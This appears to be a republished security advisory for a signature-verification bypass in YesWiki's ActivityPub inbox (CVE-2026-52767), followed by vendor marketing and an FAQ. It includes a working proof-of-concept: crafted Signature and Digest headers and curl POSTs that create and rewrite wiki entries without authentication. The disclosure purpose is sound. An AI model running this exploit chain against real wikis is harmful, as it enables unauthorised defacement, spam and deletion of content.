Summary
YesWiki Vulnerable to Unauthenticated ActivityPub Signature-Verification Bypass via !openssl_verify(...) accepting int(-1)
Full technical description
HttpSignatureService::verifySignature() checks the result of PHP's openssl_verify() with a loose boolean negation - if (!openssl_verify(...)) { throw ... }. PHP's openssl_verify has four possible return values:
| return | meaning | !return |
|---|---|---|
1 |
signature is valid | false |
0 |
signature is invalid | true ✓ |
-1 |
the verify call itself failed (internal error) | false ❌ |
false |
input rejected by PHP's argument validation | true ✓ |
The -1 row is the bypass: PHP's truthiness rules make -1 a truthy value, so !(-1) === false, the throw is skipped, and the controller proceeds to processActivity(). Any condition that makes OpenSSL's EVP_VerifyFinal() return -1 triggers the bypass.
The two practical paths to -1 we are aware of:
- DSA / EC public key with an RSA-only algorithm.
openssl_verify(..., $dsaKey, "RSA-SHA256")returnsint(-1)on PHP 8.3 + OpenSSL 3.x. This is the path the PoC uses; it works against an unmodifiedphp:8.3-apachelab and against any deployment using the runtime stack YesWiki's own docker image ships. - Older PHP + older OpenSSL where any unrecognised digest name returned
-1rather thanfalse. The reporting research mentions this path; on current stacksfalseis returned instead and the throw fires correctly. The DSA path replaces it.
The reachable consequence is the same in both cases - the controller silently treats a failed verification as success and processes the attacker's payload.
Details
Affected component
- File:
tools/bazar/services/HttpSignatureService.php - Method:
HttpSignatureService::verifySignature(Request $request) - Sink: line 130
// tools/bazar/services/HttpSignatureService.php (v4.6.5 = origin/doryphore-dev HEAD)
public function verifySignature(Request $request) {
... // [Signature parse,
// outbound key fetch, see the SSRF advisory]
$actorPublicKey = openssl_get_publickey($actor['publicKey']['publicKeyPem']);
...
if (!openssl_verify( // (a) LOOSE BOOLEAN CHECK
join("\n", $sigParts),
base64_decode($sigConf['signature']),
$actorPublicKey,
strtoupper($sigConf['algorithm'])
)) {
throw new Exception('Signature verification failed'); // (b) skipped when openssl_verify == -1
}
if ($request->headers->get('Digest') !== $this->getDigest($request->getContent())) {
throw new Exception('Digest mismatch'); // (c) still enforced, easy to satisfy
}
}
The inbox controller calls verifySignature() and then runs processActivity($activity, $form), which is what actually mutates state.
End-to-end attack chain
A single unauthenticated POST per operation. No session, no CSRF, no real signature.
Stand up an actor document that the attacker controls, any public web server (or webhook receiver) that returns a JSON body with the shape:
{ "id": "<exact URL the server will GET>", "publicKey": { "id": "<same URL>", "publicKeyPem": "<DSA public key in PEM form>" } }Send a Create / Update / Delete activity to
POST /api/forms/{enabled-form-id}/actor/inbox:POST /?api/forms/2/actor/inbox HTTP/1.1 Host: target.example Content-Type: application/activity+json Date: <RFC1123 date> Digest: SHA-256=<base64(sha256(body))> Signature: keyId="<actor URL>",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw==" {"@context":"https://www.w3.org/ns/activitystreams","type":"Create", "actor":"<actor URL>", "object":{"id":"<unique object URI>","type":"Event","name":"...","startTime":"..."}}YesWiki fetches the actor document (line 96 - the SSRF; see sibling advisory), parses it, calls
openssl_get_publickey(...)which returns a valid OpenSSL key handle (DSA is parsed successfully), then callsopenssl_verify($data, "junk-sig", $dsaKey, "RSA-SHA256"). EVP_VerifyFinal returns-1. The check!openssl_verify(...)evaluates tofalseand the throw is skipped.Digestheader is enforced, but it's a simpleSHA-256=of the body the attacker chose, so satisfying it costs onesha256sum.processActivity($activity, $form)runs: Create →EntryManager::create(), Update →EntryManager::update(), Delete →EntryManager::delete(). The triple store records the attacker'sobject.idas the source URL, which is how Update / Delete locate the entry on subsequent calls.
PoC
Pre Reqs
- Yeswiki v4.6.5 lab image (Setup via podman)
- ActivityPub enabled on the target form
For the rest of this document:
BASE="http://localhost:8085"
CTR="yeswiki-poc"
KEYID="http://127.0.0.1:9999/actors/attacker"
FORM_ID=2
MARKER="DEMO_$(date +%s)"
PHP one-liner - runs against the exact PHP+OpenSSL the lab is using. Confirm that openssl_verify returns -1.
podman exec "$CTR" php -r '
$pem = file_get_contents("/tmp/attacker_keys/dsa.pub");
$key = openssl_get_publickey($pem);
$r = openssl_verify("hello", "junk", $key, "RSA-SHA256");
echo "openssl_verify returned: " . var_export($r, true) . "\n";
echo "!openssl_verify(...) is: " . var_export(!$r, true) . "\n";
'
Expected output:
openssl_verify returned: -1
!openssl_verify(...) is: false
Verify the listener is up and serving the DSA-key actor
podman exec "$CTR" cat /tmp/ssrf_listener.pid
podman exec "$CTR" ps -p $(podman exec "$CTR" cat /tmp/ssrf_listener.pid) -o stat=
podman exec "$CTR" curl -s http://127.0.0.1:9999/actors/attacker | head -c 300; echo
Expected output: a PID, S (sleeping/alive), and a JSON document beginning with {"@context":"https://www.w3.org/ns/activitystreams","id":"http://127.0.0.1:9999/actors/attacker", ... and a publicKeyPem field whose value starts with -----BEGIN PUBLIC KEY-----\nMIIB... (the DSA key - note the Bv prefix typical of DSA-key DER, not the Ij of RSA).
Build a JSON Create activity that the Agenda form's reverse-semantic template can map (it expects an Event with name, content, startTime, endTime, location.address.*, etc.):
ACTIVITY='{
"@context": "https://www.w3.org/ns/activitystreams",
"type": "Create",
"id": "http://127.0.0.1:9999/activity/c-'"$MARKER"'",
"actor":"'"$KEYID"'",
"object": {
"id": "http://127.0.0.1:9999/objects/'"$MARKER"'",
"type": "Event",
"name": "'"$MARKER"', created via the signature-verification bypass",
"content": "openssl_verify returned -1; YesWiki accepted us anyway",
"startTime": "2026-12-01T10:00:00Z",
"endTime": "2026-12-01T12:00:00Z"
}
}'
# Digest must equal SHA-256= base64(sha256(body)) - this header IS enforced
DIGEST="SHA-256=$(printf '%s' "$ACTIVITY" | openssl dgst -sha256 -binary | base64)"
DATE="$(date -uR | sed 's/+0000/GMT/')"
SIG='keyId="'"$KEYID"'",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="'
curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \
-H "Content-Type: application/activity+json" \
-H "Date: ${DATE}" \
-H "Digest: ${DIGEST}" \
-H "Signature: ${SIG}" \
--data-raw "$ACTIVITY" \
-w '\n HTTP %{http_code}\n'
Now, try udating the entry via the same bypass
The triple store records <tag, sourceUrl, object.id> from the Create. An Update activity referencing the same object.id will look that up and rewrite the entry's body.
UPDATE_ACT='{
"@context": "https://www.w3.org/ns/activitystreams",
"type": "Update",
"id": "http://127.0.0.1:9999/activity/u-'"$MARKER"'",
"actor":"'"$KEYID"'",
"object": {
"id": "http://127.0.0.1:9999/objects/'"$MARKER"'",
"type": "Event",
"name": "'"$MARKER"'_UPDATED, title was changed by an unauthenticated POST",
"content": "this row was modified via the SAME bypass",
"startTime": "2026-12-01T10:00:00Z",
"endTime": "2026-12-01T12:00:00Z"
}
}'
DIGEST="SHA-256=$(printf '%s' "$UPDATE_ACT" | openssl dgst -sha256 -binary | base64)"
DATE="$(date -uR | sed 's/+0000/GMT/')"
curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \
-H "Content-Type: application/activity+json" \
-H "Date: ${DATE}" \
-H "Digest: ${DIGEST}" \
-H "Signature: ${SIG}" \
--data-raw "$UPDATE_ACT" \
-w ' HTTP %{http_code}\n'
Expected output: HTTP 200, empty body.
Impact
CRUD on bazar entries of any ActivityPub-enabled form, without authentication:
- Create -
EntryManager::create($form['bn_id_nature'], $entry, false, $object['id']). New row inyeswiki_pagesand a triple<tag, sourceUrl, $object['id']>inyeswiki_triples. - Update - looks up the entry via the source-URL triple and rewrites its body with the attacker-supplied content.
- Delete - same lookup, then
EntryManager::delete($tag, true).
Concrete operational impact:
- Defacement / content injection at scale - a public-facing wiki with the Agenda or Blog-actu form federated becomes a publishing target for any attacker who can route TCP to the YesWiki host.
- Spam / SEO poisoning through the Bazar entry body, which is HTML-rendered for the wiki and indexed by search.
- Erasure of legitimate federated content - any entry previously created via ActivityPub can be enumerated through the public outbox endpoint, its
object.iddiscovered, and then deleted by replaying the chain withtype=Delete. - Triple-store pollution - the
yeswiki_triplestable grows with attacker-controlledsourceUrltriples that survive entry deletion and can interfere with later federation flows. - Reputation / federation poisoning - the wiki appears (to remote ActivityPub peers and to its own users) to be receiving signed content from a remote actor, when in reality anyone on the network can post.
CVE-2026-52767 has a CVSS score of 8.2 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.6.6); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-52767? CVE-2026-52767 is a high-severity security vulnerability in yeswiki/yeswiki (composer), affecting versions >= 4.6.2, < 4.6.6. It is fixed in 4.6.6.
- How severe is CVE-2026-52767? CVE-2026-52767 has a CVSS score of 8.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of yeswiki/yeswiki are affected by CVE-2026-52767? yeswiki/yeswiki (composer) versions >= 4.6.2, < 4.6.6 is affected.
- Is there a fix for CVE-2026-52767? Yes. CVE-2026-52767 is fixed in 4.6.6. Upgrade to this version or later.
- Is CVE-2026-52767 exploitable, and should I be worried? Whether CVE-2026-52767 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-52767 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-52767? Upgrade
yeswiki/yeswikito 4.6.6 or later.